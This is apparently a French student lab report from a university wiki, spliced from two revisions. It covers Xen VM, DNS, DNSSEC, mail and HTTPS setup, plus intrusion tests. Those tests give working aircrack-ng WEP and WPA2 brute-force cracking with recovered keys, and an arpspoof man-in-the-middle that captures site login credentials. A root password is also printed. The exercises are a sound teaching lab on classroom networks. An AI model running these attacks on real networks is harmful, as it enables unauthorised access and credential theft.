airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54010TP sysres IMA2a5 2020/2021 G52020-11-27T17:02:07Z<p>Aglaine : /* Configuration de la machine virtuelle Xen */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on ajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une passerelle doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interface avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comme ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon nottre système de clef ne fonctionnera pas.<br />
pour commancer, on crée un repertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les rennomer pouyr plus de transparance.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a gandi comme montrer ci-dessous en n'oubliant pas de selectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le dns et représanter la chaine d'autentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une méchagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérfication de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenètre de configuration s'ouver. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la reception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les méssage recu en tappant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on resoit bien les message en provenance du mail de Polytech.<br />
Pour que gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoint de pouvoir recevoirr les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commance <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différante care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyet le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de gandi on resoit un codde de confimartion ainsi q'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers gandi a télechargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionn pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
====Modification de la page d'accueille Apashe2====<br />
<br />
Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande <code>vim /var/www/html/index.html</code>.<br />
<br />
Le site : https://www.w3schools.com/html/html_examples.asp explique comment faire sa propre page web.<br />
la page pour le site 'glopglop.site' ne sert que d'exemple si on veux une page plus élaborer des template sont directement disponible sur le net avec en prime les fichiers css pour obtenir un site vraiment attractif. mais on cherche juste pour le moment a avoir une page différente de test.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
